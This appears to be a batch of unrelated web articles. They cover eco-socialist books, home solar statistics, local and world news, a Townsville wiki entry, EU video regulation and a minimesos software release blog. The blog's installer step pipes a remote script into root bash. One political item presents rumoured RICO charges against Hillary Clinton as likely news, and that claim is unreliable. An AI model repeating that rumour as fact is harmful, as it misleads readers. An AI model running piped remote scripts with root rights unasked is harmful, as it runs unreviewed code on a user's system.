-Six new books on democratic eco-socialism, war and the environment, genes and intelligence, climate change and the Roman Empire, the little ice age in North America, and views of the Anthropocene  Ecosocialist Bookshelf is an occasional feature. We can’t review every book we receive, but we will list and link to any that seem relevant to Climate & Capitalism’s mission, along with brief descriptions. Titles listed here may be reviewed in future.  Please note: Inclusion of a book does not imply endorsement, or that we agree with everything (or even anything!) the book says.  Hans A. Baer  DEMOCRATIC ECO-SOCIALISM AS A REAL UTOPIA  Transitioning to an Alternative World System  Berghahn Books, 2017  Critical anthropologist Hans Baer argues that the left must re-evaluate historical definitions of socialism, commit to social equality and justice, and prioritize environmental sustainability. He describes democratic eco-socialism as a system capable of mobilizing people around the world, albeit in different ways, to prevent on-going human socio-economic and environmental degradation, and anthropogenic climate change.  Gar Smith, editor  THE WAR AND ENVIRONMENT READER  Just World Books, 2017  While many books have examined the broader topic of military conflict, most neglect to focus on damage military violence inflicts on regional — and global — ecosystems. The War and Environment Reader provides a critical analysis of the devastating environmental consequences of war. A wide array of diverse voices and global perspectives discuss the historical, political and psychological roots of war, the business of war, the environmental and social consequences of war, and the alternatives.  Ken Richardson  GENES, BRAINS, AND HUMAN POTENTIAL  The Science and Ideology of Intelligence  Columbia University Press, 2017  Bio-deterministic ideology, a shallow nature-versus-nurture debate, and the overhyped claims of genome reductionists have encouraged fatalism about the development of human intelligence among individuals and societies. Building on new work in molecular biology, epigenetics, dynamical systems, evolution theory, and complexity theory, Richardson maps a fresh understanding of intelligence and the development of human potential.  Kyle Harper  THE FATE OF ROME  Climate, Disease, and the End of an Empire  Princeton University Press, 2017  The fate of Rome was decided not just by emperors, soldiers, and barbarians but also by volcanic eruptions, solar cycles, climate instability, and devastating viruses and bacteria. The Romans were resilient in the face of enormous environmental stress, until the besieged empire could no longer withstand the combined challenges of a “little ice age” and recurrent outbreaks of bubonic plague.  Sam White  A COLD WELCOME  The Little Ice Age and Europe’s Encounter with North America  Harvard University Press, 2017  When Europeans first arrived in North America, the average global temperature had dropped to lows unseen in millennia, and its effects were stark and unpredictable. Blizzards and deep freezes, droughts and famines, and winters so cold that even the Rio Grande froze. Wholly unprepared for such harsh conditions, Europeans suffered life-threatening privation, and their desperation precipitated violent conflict with Native Americans.  John W. Kress and Jeffrey K. Stine, editors  LIVING IN THE ANTHROPOCENE  Earth in the Age of Humans  Smithsonian Books, 2017  An anthology of views on the causes of the Anthropocene, the environmental and biological systems that have been changed and affected, how societies are responding and adapting to these changes, how these changes have been represented in art, film, television, and literature.
-As of noon today my house has been powered primarily by my off-grid solar setup for one full year (a leap year, too). In celebration, I figured I would share some aggregate stats from the past 366 days.  43,929 kWh generated by solar array and utilized (Average 120 kWh/day, usable AC power)  20,576 kWh discharged from the batteries  114 equivalent cycles on the storage batteries  11,259 kWh used for Tesla Model S charging (over 33,000 miles)  Best production day: 2016-03-21 @ 260.7 kWh (Charged three Model S that day)  Worst production day: 2016-01-22 @ 0.02 kWh (All panels covered in several inches of snow)  On 222 out of 366 days (60.7%) the storage batteries reached full capacity before sunset and some amount of incoming power was wasted.  703 kWh bought from the grid (1.6% of total usage) Some reasoning behind the switch-to-grid events:  November 2015 - First shortage due to 9 straight days of bad weather. Power needed for driving.  December 2015 - Two grid usage events needed for driving power. Cold weather caused significant power usage.  January 2016 - Snow and bad weather caused little to no generation for an extended period. Preemptively switched to grid power for a couple of days to keep reserve in battery bank in case of grid outage.  February 2016 - Above average driving power needs during moderate bad weather period.  May 2016 - Error in custom predictive algorithm caused a switch to grid power with 25% SoC remaining, resulting in about 40 kWh of unneeded grid use.  July 2016 - Error in custom predictive algorithm caused a switch to grid power with 25% SoC remaining, resulting in about 30 kWh of unneeded grid use.  Suffice it to say, it's been a great year.  Something to keep in mind is that my generation numbers can not take into account power that would have been generated on the 222 days where the storage batteries reached full capacity and all incoming power was not utilized. A goal for this year is to put that excess/wasted power to better use. Rough estimates would say that I've wasted somewhere around 15 MWh of power over the last year due to this. This is not a bad thing, generally, since it means I've made enough power for my needs and is part of having an off-grid system. Would be nice to do something productive with that power, though.  The cycle wear on my storage batteries comes out to the equivalent of about ~29,000 miles of driving in a Model S. It worked out to a bit more cycling than I would have preferred. Some of this is due to needing to charge one or both of my household's Model S in the morning before sunrise in order to have power for driving during the day when the car isn't going to be at the house to charge. Also, some of the cycling happened prior to the creation of my interface that keeps the Model S charge rate equal to incoming solar power when a fast charge is not required... resulting in no cycling of the home storage pack. Overall, I expect the next 12 months to have less cycling.  Also, my home is fully electric. Electric heating and cooling (air source heat pumps). Electric cooking. Electric vehicles. No natural gas, oil, etc.  For year one, I think having 98.4% of my power come from my own little power plant definitely makes it a successful year.
-(WJLA) - One of the biggest winners in Canadian lottery history is giving his entire jackpot away.  The CBC reports that Tom Crist, a former electrical wholesale executive who lives in Calgary, won $40 million in a Western Canada Lottery drawing last year. He kept it a secret until very recently, when he announced that the entire prize was going to charity.  Crist's longtime wife died of Cancer in 2011, and the CBC says Crist plans to leave the enormous jackpot to a pair of Alberta cancer centers and charities.  "I was hoping that I could just somehow move it from the lotto corporation into my trust account and not have the media," Crist said.  On Tuesday, in America, Mega Millions will draw for one of the largest prizes in United States history. It currently sits at $586 million.  READ MORE at cbc.ca.
-Monique Braxton explains how members of City Council will meet to discuss decriminalizing small amounts of marijuana (Published Thursday, June 19, 2014)  The Philadelphia City Council voted 13-3 to pass a bill Thursday that would decriminalize carrying small amounts of marijuana.  The ordinance, sponsored by Councilman Jim Kenney, would make possession of 30 grams or 1 ounce of the drug a civil penalty.  Currently, possession of that amount or less requires an arrest by police. Should the law be enacted, officers would confiscate the marijuana and issue a $25 fine, which could be paid right there online or by mail. If paid, the incident would be removed from the person's record.  Kenney told NBC10.com in May that Ordinance 140377 could cut down 17,000 hours of police time and save $3 million in booking and jail costs. The councilman added that it could take up to a year for a minor marijuana arrest to clear the city's criminal justice system.  Philadelphia's District Attorney, Seth Williams, has since 2010 sent those arrested for carrying 1 ounce or less of marijuana to a lower court without jail time.  Mayor Michael Nutter is not in favor of the proposal. His press secretary, Mark McDonald, said Nutter will consider the legislation and "will respond before the session in mid-September."  Approximately 4,000 people are arrested each year in Philadelphia for possessing small amounts of non-medical marijuana.  Representatives for the Philadelphia Prison System say the bill is unlikely to have a major impact on its inmate population. They estimate that fewer than 100 people in the Philadelphia Prison System are currently being held for simple possession.  If approved by Nutter, Philadelphia would join cities and states like Chicago, and Washington, DC who, in recent years, passed similar laws to decriminalize possession of small amounts of marijuana.  Kenney says he'll be sending a letter to Nutter urging him to sign the bill. Nutter could choose to sign or veto the bill at any time between now and Sept. 11 when the next city council session begins.
-This September holds some very big plans for Jonny Greenwood. The guitarist/composer will not only hit the studio with Radiohead, but finally perform his Grammy-nominated score for There Will Be Blood for U.S. audiences. Even with such important projects down the pipeline, Greenwood has still somehow found the time to work on his own solo material.  Earlier this year, we heard one of those new songs, tentatively titled “Loop”. During a show in London on Monday night, Greenwood debuted another previously unheard composition called “Skip Loop”. Although guitar-driven like its predecessor, the new track is not as frazzled and busy. Instead, Greenwood utilizes a much more quiet and therapeutic approach. Check out fan-shot footage of “Skip Loop” below.  It’s unclear whether Greenwood’s solo work will influence Radiohead’s new album, but he’s certainly been busy e-mailing Thom Yorke with his plentiful ideas.
-Report removed from HuffPo over the Weekend; Clinton Foundation "Racketeering."  Update, 6/9/2016: President Obama today whole heartedly endorsed Hillary Clinton for President. This seems to create a conflict of interest for the Dept. of Justice, which has announced publicly that they are investigating her for violations of several statutes. It seems to require the appointment of an independent counsel prosecutor under statutes enacted in response to Nixon's transgressions. Stay tuned.  Last Saturday, a journalist employed by liberal Huffington Post reported that the Federal Bureau of Investigations (FBI) will recommend that the Department of Justice file a Federal criminal complaint, indicting U.S. Democrat presidential candidate Hillary Rodham Clinton.  Frank Hugenard is a political scientist, public speaker and freelance contributor to the Huffington Post. He had his story removed by HuffPo editors and his account disabled without explanation. His article bore the title: ""Hillary Clinton to be Indicted On Federal Racketeering Charges" It quickly went viral before being removed.  FBI Director James Comey will present a recommendation to Loretta Lynch, Attorney General and head of the U.S. Department of Justice, that includes a compelling argument that the Clinton Foundation is an ongoing criminal enterprise engaged in money laundering and soliciting bribes in exchange for political, policy and legislative favors to individuals, corporations and even governments both foreign and domestic.  Huguenard, a Bernie Sanders supporter, says that he has sources within the FBI. They say the Bureau will recommend that the DOJ file Racketeering charges against Mrs. Clinton.  The Racketeer Influenced and Corrupt Organizations Act (RICO) is a United States Federal Law passed in 1970 that was designed to provide a tool for law enforcement agencies to fight organized crime. RICO allows prosecution and punishment for alleged racketeering activity that has been executed as part of an ongoing criminal enterprise.  Attorneys regard the RICO statute as unduly broad, and in the past it has been used to indict even legitimate businessmen for legitimate activities.  Hillary Clinton admits using her own server to send classified e-mails, which was against State Department policy at the time.  Activity considered to be racketeering may include bribery, counterfeiting, money laundering, embezzlement, illegal gambling, kidnapping, murder, drug trafficking, slavery, and a host of other nefarious business practices.  Huffington Post Politics senior editor Sam Stein claims to have no idea why the post was removed, and refused to give further comment when contacted by Breitbart News. Stein opined, "Sorry. I don't know. I'd direct your question to a blog editor."  A controversy arose in March 2015, when it was revealed by the State Department's inspector general that Clinton had exclusively used personal email accounts on a non-government, privately maintained server-in lieu of email accounts maintained on federal government servers-when conducting official business during her tenure as Secretary of State. Some experts, officials, members of Congress, and political opponents, contended that her use of private messaging system software and a private server violated State Department protocols and procedures, and federal laws and regulations governing record keeping requirements.  Nearly 2,100 emails contained in Clinton's server were retroactively marked classified by the State Department, though none of the emails were marked classified at the time they were sent. 65 were later classified as "secret", more than 20 were designated "top secret", and the rest were later designated as "confidential".  However, the intelligence community's inspector general wrote Congress to say that some of the emails "contained classified State Department information when originated."  In a joint statement released on July 15, 2015, the inspector general of the State Department and the inspector general of the intelligence community said that through their review of the emails, they found information that was classified when sent, remained so as of their inspection, and "never should have been transmitted via an unclassified personal system." They also stated unequivocally that those secrets never should have been stored outside of secure government computer systems. Mrs. Clinton had stated over a period of months that she kept no classified information on the private server that she set up in her house.  Government policy, reiterated in the nondisclosure agreement signed by Clinton as part of gaining her security clearance, is that sensitive information can be considered as classified even if not marked as such.[394] After allegations were raised that some of the emails in question fell into the so-called "born classified" category, an FBI probe was initiated regarding how classified information was handled on the Clinton server. In May 2016, the inspector general of the state department criticized her use of a private email server while she was secretary of state stating that she had not requested permission to use it and even if she had, she would not have been given permission.  The controversy occurred against the backdrop of Clinton's 2016 presidential election campaign and hearings by the House Select Committee on Benghazi.  Perhaps the plan is to quietly indict Mrs. Clinton, have her plead guilty to violation of email regulations, pay a $10,000 fine, and then move on with the presidential race. Bill Clinton was actually impeached for committing perjury in 1998, but simply went on with his presidency. He was disbarred by the Supreme Court, but that didn't really matter either.  Update: 06/07--It seems Hillary Rodham Clinton has wrapped up the Democratic nomination. It's the best possible time for FBI Dir. Comey and the DOJ to indict Mrs. Clinton, without affecting the primary (it's in the past), or the general election (it's as far into the future now, as it's ever going to be). Assuming the DOJ's goal is not to affect America's presidential selection process.  Update: 6/08: Donald Halper from the Weekly Standard, says Donald Trump will deliver a major speech on Monday, in which he will say Secretary of State Clinton turned the State Department into her own private hedge fund. She collected money from the Chinese, the Russians, the Saudis, in the form of donations to the Clinton foundation, which employed her husband former President Bill Clinton. "The Clinton's left the White House broke. The Clinton foundation made them wealthy."  Smug or indicted? You decide  He says he doesn't know whether any government agency has investigated this, but that it probably constitutes a violation of American law.  See also  No Defeat, No Surrender for Bernie Sanders. http://www.smobserved.com/story/2016/06/08/news/no-surrender-sanders-vows-to-continue-campaign-will-not-drop-out-wont-concede-nomination/1374.html  Clueless Thugs: Bernie Sanders Supporters beat other Sanders supporters in error. http://www.smobserved.com/story/2016/06/08/news/bernie-supporters-beat-other-bernie-supporters-by-mistake-youtube/1379.html  Republican Ballots apparently not counted in Santa Monica, http://www.smobserved.com/story/2016/06/08/news/become-a-republican-in-santa-monica-and-have-your-vote-demoted/1377.html
-by Frank Scholten  MiniMesos 0.4.0 has been released today and is available via Jitpack. MiniMesos is part of our work on Mantl, the Microservices Infrastructure platform from Cisco Cloud. The goal of minimesos is to make it really easy to test Mesos frameworks and Mesos in general. The main new feature in this release is Marathon support. When starting minimesos a separate Marathon container is started which connects to the existing Zookeeper container. This blog shows how this feature is used and how it’s implemented.  The Marathon container  To try out the new release run the install script through curl. It installs the minimesos jar into /usr/local/share/minimesos and minimesos cli interface into /usr/local/bin.  $ sudo curl https://raw.githubusercontent.com/ContainerSolutions/minimesos/master/bin/install | bash 1 $ sudo curl https : //raw.githubusercontent.com/ContainerSolutions/minimesos/master/bin/install | bash  Now launch a new minimesos cluster with  $ minimesos up http://172.17.1.65:5050 1 2 $ minimesos up http : //172.17.1.65:5050  When you list the running containers you can see all containers in the cluster, including the new Marathon container. Note that the container name always has a minimesos prefix, the name of the role, the cluster ID and finally a random ID that is assigned to each container before start.  $ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 5e59dce1dc1b mesosphere/marathon:v0.8.1 "./bin/start --maste 8 minutes ago Up 8 minutes minimesos-marathon-4167781031-239566274 ed153377e3ff mesosphere/mesos-slave:0.22.1-1.0.ubuntu1404 "mesos-slave" 8 minutes ago Up 8 minutes 5051/tcp, 9200/tcp, 9300/tcp minimesos-agent-4167781031-2797405641 9b2562ea8518 mesosphere/mesos-master:0.22.1-1.0.ubuntu1404 "mesos-master --regi 8 minutes ago Up 8 minutes 5050/tcp minimesos-master-4167781031-3857686719 50af12b5c274 jplock/zookeeper:latest "/opt/zookeeper/bin/ 8 minutes ago Up 8 minutes 2181/tcp, 2888/tcp, 3888/tcp minimesos-zookeeper-4167781031-1783494468 1 2 3 4 5 6 $ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 5e59dce1dc1b mesosphere / marathon : v0 . 8.1 "./bin/start --maste 8 minutes ago Up 8 minutes minimesos-marathon-4167781031-239566274 ed153377e3ff mesosphere/mesos-slave:0.22.1-1.0.ubuntu1404 " mesos - slave " 8 minutes ago Up 8 minutes 5051/tcp, 9200/tcp, 9300/tcp minimesos-agent-4167781031-2797405641 9b2562ea8518 mesosphere/mesos-master:0.22.1-1.0.ubuntu1404 " mesos - master -- regi 8 minutes ago Up 8 minutes 5050 / tcp minimesos - master - 4167781031 - 3857686719 50af12b5c274 jplock / zookeeper : latest " / opt / zookeeper / bin / 8 minutes ago Up 8 minutes 2181 / tcp , 2888 / tcp , 3888 / tcp minimesos - zookeeper - 4167781031 - 1783494468  The Marathon container is connected to the existing Zookeeper instance in the minimesos cluster.  $ docker inspect 5e59 ... "Cmd": [ "--master", "zk://minimesos-zookeeper:2181/mesos", "--zk", "zk://minimesos-zookeeper:2181/marathon" ], ... 1 2 3 4 5 6 7 8 9 $ docker inspect 5e59 . . . "Cmd" : [ "--master" , "zk://minimesos-zookeeper:2181/mesos" , "--zk" , "zk://minimesos-zookeeper:2181/marathon" ] , . . .  Running a task on Marathon  From here we can navigate to the Marathon endpoint. First we have to determine Marathon’s IP  $ docker inspect --format '{{ .NetworkSettings.IPAddress }}' 5e59 172.17.1.74 1 2 $ docker inspect -- format '{{ .NetworkSettings.IPAddress }}' 5e59 172.17.1.74  and then we can open http://172.17.1.74 in the browser. Let’s add an app called ‘testapp’ which echoes hello world.  Once it is running we can inspect the Marathon logs to see it is being run continuously.  [2015-10-15 13:27:54,661] INFO Need to scale /testapp from 0 up to 1 instances (mesosphere.marathon.SchedulerActions:530) [2015-10-15 13:27:54,662] INFO Queueing 1 new tasks for /testapp (0 queued) (mesosphere.marathon.SchedulerActions:536) [2015-10-15 13:27:55,509] INFO Received status update for task testapp.8b2c37a8-7340-11e5-b30e-0242ac11014a: TASK_RUNNING () (mesosphere.marathon.MarathonScheduler:149) [2015-10-15 13:27:55,521] INFO Sending event notification. (mesosphere.marathon.MarathonScheduler:263) [2015-10-15 13:27:55,609] INFO Received status update for task testapp.8b2c37a8-7340-11e5-b30e-0242ac11014a: TASK_FINISHED (Command exited with status 0) (mesosphere.marathon.MarathonScheduler:149) [2015-10-15 13:27:55,611] INFO Task testapp.8b2c37a8-7340-11e5-b30e-0242ac11014a expunged and removed from TaskTracker (mesosphere.marathon.tasks.TaskTracker:107) 1 2 3 4 5 6 [ 2015 - 10 - 15 13 : 27 : 54 , 661 ] INFO Need to scale / testapp from 0 up to 1 instances ( mesosphere . marathon . SchedulerActions : 530 ) [ 2015 - 10 - 15 13 : 27 : 54 , 662 ] INFO Queueing 1 new tasks for / testapp ( 0 queued ) ( mesosphere . marathon . SchedulerActions : 536 ) [ 2015 - 10 - 15 13 : 27 : 55 , 509 ] INFO Received status update for task testapp . 8b2c37a8 - 7340 - 11e5 - b30e - 0242ac11014a : TASK_RUNNING ( ) ( mesosphere . marathon . MarathonScheduler : 149 ) [ 2015 - 10 - 15 13 : 27 : 55 , 521 ] INFO Sending event notification . ( mesosphere . marathon . MarathonScheduler : 263 ) [ 2015 - 10 - 15 13 : 27 : 55 , 609 ] INFO Received status update for task testapp . 8b2c37a8 - 7340 - 11e5 - b30e - 0242ac11014a : TASK_FINISHED ( Command exited with status 0 ) ( mesosphere . marathon . MarathonScheduler : 149 ) [ 2015 - 10 - 15 13 : 27 : 55 , 611 ] INFO Task testapp . 8b2c37a8 - 7340 - 11e5 - b30e - 0242ac11014a expunged and removed from TaskTracker ( mesosphere . marathon . tasks . TaskTracker : 107 )  As you can see it’s quite easy to try out Marathon from minimesos.  Minor changes in 0.4.0  Usage and help feature  If you don’t have a cluster running minimesos prints the help feature showing the up and destroy commands. We have used the excellent JCommander library to implement the cli commands and help feature.  $ minimesos help Usage: minimesos [options] [command] [command options] Commands: up Create a mini mesos cluster Usage: up [options] Options: --mesosImageTag The tag of the Mesos master and agent Docker images. Default: 0.22.1-1.0.ubuntu1404 destroy Destroy a mini mesos cluster Usage: destroy [options] help Display help Usage: help [options] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $ minimesos help Usage : minimesos [ options ] [ command ] [ command options ] Commands : up Create a mini mesos cluster Usage : up [ options ] Options : -- mesosImageTag The tag of the Mesos master and agent Docker images . Default : 0.22.1 - 1.0.ubuntu1404 destroy Destroy a mini mesos cluster Usage : destroy [ options ] help Display help Usage : help [ options ]  Testing different Mesos versions  Mesos has a frequent release cycle and it is useful to be able to test newer version. To support this we made the image tag  configurable by specifying one of the Mesosphere Docker hub tags to the –mesosImageTag flag.  What’s next?  Testing Mesos versions will be made more user friendly  More minimesos cli commands  Config refactoring. A few parameters should be merged into MesosClusterConfig  Keep in touch  Thanks for reading! Keep in touch by commenting on the blog or talk to us on @minimesos and @ContainerSoluti. Check out the open issues on Github. Do you have an idea on how to improve minimesos? Please open an issue or add a PR at the minimesos Github repo. We hope you find minimesos useful. See you next time!
-Want More Videos? Subscribe! →  September 16th — 20th, 2013 Fox News, CNN and MSNBC air video of a Senator dancing at a strip club for campaign cash! It’s a bold statement about how disgusting American politics have become — and it was paid for by hundreds of members of the RepresentUs community  We created this video because 87% of Americans think political corruption is a serious problem, but most don’t believe there’s a solution. That’s why we need to be bold and cut through the noise. Because we can beat corruption if we can get millions of people to join our movement and demand reform.  This video can do that… so we ran it on Fox News, MSNBC, and CNN during the week members of Congress return from recess and head back to DC.  Randy Hackett, the advertising guru who donated this ad to RepresentUs is one of the more than 360,000 people in the RepresentUs community who are stepping up in a big way. Sure, we might offend a few politicians, but it’s time to show the money-in-politics problem for what it is. It’s corruption. It’s disgusting, and it’s slowly killing the American dream. It’s time to fight back.  SENATOR STRIPS ON AIR!  Below is a partial listing of dates, times and channels from the crowdfunded ad buy.  Comcast:  9/16/2013 WASHINGTON FXNC- 6:20:00 PM  9/16/2013 WASHINGTON CNN-E 9:15:00 PM  9/16/2013 WASHINGTON FXNC- 11:48:00 PM  9/17/2013 WASHINGTON FXNC- 8:48:00 PM  9/17/2013 WASHINGTON CNN-E 9:50:00 PM  9/17/2013 WASHINGTON CNN-E 11:15:00 PM  9/18/2013 WASHINGTON FXNC- 5:48:00 PM  9/18/2013 WASHINGTON CNN-E 8:31:00 PM  9/18/2013 WASHINGTON CNN-E 10:31:00 PM  9/19/2013 WASHINGTON FXNC- 6:48:00 PM  9/19/2013 WASHINGTON CNN-E 9:31:00 PM  9/19/2013 WASHINGTON FXNC- 9:48:00 PM  9/20/2013 WASHINGTON CNN-E 8:15:00 PM  9/20/2013 WASHINGTON FXNC- 9:20:00 PM  9/20/2013 WASHINGTON FXNC- 10:48:00 PM  9/20/2013 WASHINGTON CNN-E 11:15:00 PM  9/21/2013 WASHINGTON CNN-E 9:31:00 PM  9/21/2013 WASHINGTON FXNC- 10:20:00 PM  9/21/2013 WASHINGTON CNN-E 10:50:00 PM  9/22/2013 WASHINGTON FXNC- 4:48:00 PM  9/22/2013 WASHINGTON FXNC- 9:20:00 PM  9/22/2013 WASHINGTON CNN-E 11:50:00 PM  Viamedia:  FXNC Sep 17, 2013 22:48 Tue  FXNC Sep 21, 2013 00:20 Sat  HLN Sep 18, 2013 01:31 Wed  MNBC Sep 18, 2013 23:29 Wed  MNBC Sep 19, 2013 20:29 Thu  MNBC Sep 22, 2013 01:29 Sun  HLN Sep 19, 2013 01:31 Thu  HLN Sep 21, 2013 01:31 Sat  MNBC Sep 17, 2013 00:29 Tue
-BEIRUT – The head of Syria’s Special Forces has died from injuries sustained in the fierce fighting between regime troops and rebels in the northwestern Idlib province.  “A funeral service was held in Syria’s Tartous Governorate on Thursday for the commander of the Syrian Special Forces, Major General Muhyiddin Mansour,” the Syrian Observatory for Human Rights reported.  According to the Observatory, Mansour died after “being injured in clashes with Islamist factions and the Al-Nusra Front in Idlib [province’s] Jisr al-Shughur.”  The top Syrian general’s death comes amid the major military campaign launched by the Army of Conquest rebel coalition in the area.  On April 25, the wide ranging offensive saw allied armed opposition groups seize the town of Jisr al-Shughur, which lies on the highway linking Idlib to Latakia.  The circumstances of Mansour’s fate remain shrouded in mystery, with a number of contradictory reports emerging on the location and date of his death.  The pro-opposition All4Syria news cited sources as saying that Mansour was killed in the Jisr al-Shughur National hospital, where hundreds of regime fighters and figures have holed themselves up following the fall of the town.  Rebels have conducted a number of fierce attacks on the facility, which Syrian President Bashar al-Assad vowed to rescue in a rare public appearance on May 6.  All4Syria added that other sources claimed Mansour was killed in the fighting raging outside the hospital.  Dozens have been killed in the fighting around the hospital, where the beseiged regime troops have managed to turn back the rebel attacks.  The date on which Mansour was killed has also been a subject of controversy—although some pro-regime sources announced his death on Wednesday, some media outlets claim he was killed two weeks ago.  Sources told All4Syria that around one year ago Mansour was transferred, along with most members of the Syrian Army’s 15th Special Forces division, from its permanent headquarters in the Daraa Governorate to the city of Idlib and its surroundings.  Syrian ARA News described Mansour as “one of the top ranked and [most] experienced leading commanders” in the Syrian army.  Syria's Special Forces, which consists of the 14th and 15th divisions of the army as well as a number of seperate regiments, acts as light infantry fighting force made up of approximately 9000 troops.  Mansour hails from the town of Safita, some 25 km to the west of Tartous.  So far, there has been no official Syrian government statement regarding his death.
-Local government area in Queensland, Australia  The City of Townsville is an Australian local government area (LGA) located in North Queensland, Australia. It encompasses the city of Townsville, together with the surrounding rural areas, to the south are the communities of Alligator Creek, Woodstock and Reid River, and to the north are Northern Beaches and Paluma, and also included is Magnetic Island. It currently has a population of 186,757 residents,[1] and is the 28th-largest LGA in Australia.  History [ edit ]  Prior to 2008, the new City of Townsville was an entire area of two previous and distinct local government areas:  the former City of Townsville ;  ; and the City of Thuringowa.  Townsville's Town Hall 1895 with, from left to right, Aldermen T. Enright, E.J. Forrest, D.F. Treehy (Townclerk), P. Lillis (Rate Receiver), J. N. Parkes, B.P. McDougall (Accountant)  The City of Townsville was first established as the Borough of Townsville under the Municipal Institutions Act 1864 on 15 February 1866. The surrounding rural area, which was given the name Thuringowa Division, was established on 11 November 1879 as one of 74 divisions around Queensland under the Divisional Boards Act 1879. On 31 March 1903, Thuringowa Division became the Shire of Thuringowa and Townsville was granted city status under the Local Authorities Act 1902, the ancestor of the current Local Government Act 1993.  The borders of the Townsville municipality were expanded to keep pace with urban growth in 1882, 1918, 1936, 1958 and 1964 – the purpose of expanding the borders was to keep urban and rural administrations separate.[3] This state government convention changed under the Bjelke-Peterson government and the borders between the two local governments became static. By 1986 the Shire of Thuringowa had grown to a population of 27,000 and was declared a city.[3]  In 1939, Fred Paterson stood successfully as an alderman for the Townsville City Council, becoming the first member of the Communist Party to win such an office in Australia. He was then re-elected in 1943. The same year, he stood for the federal seat of Herbert, but was narrowly defeated. He then contested and won the Bowen seat in the Queensland Parliament, holding it from 1944 until 1950.  A succession of endorsed Labor Party mayors and majority councillors held a continuous civic government from 1976–2008, this was the longest continuous Labor administration in the country until Tony Mooney was defeated in 2008.  Following local government reform undertaken by the State Government of Queensland, the City of Townsville and the City of Thuringowa were amalgamated in 2008.[4] The process of amalgamation was completed on the election of a new combined council on 15 March 2008.  Mayors [ edit ]  Other notable aldermen include:  Townsville City Council [ edit ]  Townsville City Council is the Local Government Authority that services the Local Government Area of Townsville. The council is represented by 10 councillors and the mayor, who have been elected by the whole city. The current mayor is Cr Jenny Hill,[13] who was formerly the deputy mayor of the pre-amalgamation City of Townsville in 2007 and early 2008.  The council provides many services to residents of the city of Townsville, including infrastructure, water, garbage, public works, and entertainment and leisure i.e. parks, theatres, events etc.  In 2006 the council had an operating expenditure of $201.3M and a capital works budget of $103.3M[15]  Civic cabinet [ edit ]  The current civic cabinet consists of one mayor, elected at large, and 10 councillors, elected from 10 individual divisions. At the last Queensland Local Government election, held on 19 March 2016, Jenny Hill from the centre-left Team Jenny Hill was elected mayor of Townsville, along with 10 other councillors from the same team.[16] No councillors were elected from the rival centre-right Jayne Arlett's team, nor were any independents, effectively creating an undivided council. Les Walker, from Team Jenny Hill, was elected as deputy mayor.[17]  Councillor Declared political membership Election Group Term Constituency Cr. Jenny Hill ALP Team Jenny Hill 2012–present Mayor Cr. Margie Ryder Independent Team Jenny Hill 2016–present Division 1 Cr. Paul Jacob ALP Team Jenny Hill 2016–present Division 2 Cr. Ann-Maree Greaney Independent Team Jenny Hill 2016–present Division 3 Cr. Mark Molachino ALP Team Jenny Hill 2016–present Division 4 Cr. Russ Cook Independent Team Jenny Hill 2016–present Division 5 Cr. Verena Coombe Independent Team Jenny Hill 2016–present Division 6 Cr. Kurt Rehbein ALP Team Jenny Hill 2016–present Division 7 Cr. Maurie Soars Australian Labor Party Team Jenny Hill 2016–present Division 8 Cr. Colleen Doyle Independent Team Jenny Hill 2012–present Division 9 Cr. Les Walker ALP Team Jenny Hill 2012–present Division 10  Towns and localities [ edit ]  Population [ edit ]  The populations given relate to the component entities prior to 2008. The 2011 census was the first for the new City.  Year Population  (City total) Population  (Townsville) Population  (Thuringowa) 1911 15,731 10,636 5,095 1921 23,690 21,353 2,337 1933 29,300 25,876 3,424 1947 36,436 34,109 2,327 1954 43,098 40,471 2,627 1961 53,715 51,143 2,572 1966 65,303 62,403 2,900 1971 72,023 68,591 3,432 1976 91,279 80,365 10,914 1981 98,900 81,172 17,728 1986 112,917 82,809 30,108 1991 125,010 87,288 37,722 1996 131,371 87,052 44,319 2001 143,841 92,701 51,140 2006 158,647 99,483 59,164 2011 174,462 2016 186,757  Amenities [ edit ]  The Townsville City Council operates libraries at Aitkenvale, Townsville City and Thuringowa Central.[18] It also operates a mobile library service, serving the following suburbs on a regular schedule:[19]  Sister cities [ edit ]  References [ edit ]  Coordinates:
-Facebook, Netflix, YouTube and the German state broadcaster ZDF are very different businesses. But they may soon all have to abide by the same rule book.  A controversial overhaul of the EU’s rules on video content will sprawl across sectors, dragging everyone from public broadcasters to social media into the same regulatory framework, according to draft proposals being negotiated.  For supporters of the move, the law would end a regulatory no man’s land for the likes of YouTube and Facebook, obliging them to follow the same rules as normal broadcasters on issues such as hate speech.  Critics argue that it is a misguided attempt to rope internet companies into inappropriate rules – potentially throwing media diversity and even freedom of speech into doubt.  Internet streaming services such as Netflix, which are already regulated as video providers, will be affected by new rules that dictate that 30 per cent of content on the platforms needs to be European.  “Quotas are frustrating for us because there is no real evidence to show that they work,” said Colin Bortner, Netflix’s director of global public policy. “[They] divert investment away from high-quality European films and series that can attract a global audience.”  Levies  The company also faces paying levies of up to 26 per cent of revenues on its business in France, which it says will decrease the amount it invests in individual European works and distort how much it invests in individual member countries.  Mr Bortner says the proposed rate “is fantastically high”, saying that it would mean consumers in one market subsidising those in another. “Ultimately, Spanish consumers would be paying a higher price to meet our levy obligations in France. That’s because we don’t have 28 individual businesses; we are producing content on a pan-European and global basis and what happens in one member state impacts investments and prices in another.”  Technology companies that offer video such as Facebook, YouTube and Amazon are also facing an overhaul.  All three companies declined to comment.  Last-minute change  But a last-minute change to draft version being worked on by ministers means that for a platform that uses video content as an “essential” part of the service must abide by rules laid down in the EU’s audiovisual media services directive.  “It used to be a directive for sector-specific issue,” says one diplomat who opposed the measure. “It will now police any moving picture on any screen.”  The consequences for the world’s biggest technology companies that have put video at the heart of their business strategies – including Google, which owns YouTube, Facebook and Amazon – are likely to be significant.  For the first time, the businesses would be legally obliged to come up with measures to ferret out videos that contain hate speech, incitement to terrorism or simply harm the “moral development” of children.  John Carr, an adviser to the UK government on online child safety, says: “Social media platforms – especially Facebook – must be feeling under siege at the moment. [This directive] is just another trebuchet.”  YouTube and Facebook already have some measures in place. Users on established services can flag content as inappropriate, while security services have heaped pressure on social networks to do more to combat use by terrorist groups.  Facebook’s own, detailed guidelines on moderating content that ranged from self-harm to Nazi imagery were revealed last week. The measures are generally undertaken on a voluntary basis but these groups now face strict legal obligations – and potential sanctions if they are deemed to be not doing enough.  Take more responsibility  Because the new rule is a directive, individual countries will have to transpose it into national law, leaving scope for countries who want the big platforms to take more responsibility – such as France, Germany and Italy – to introduce stricter rules and sanctions.  A 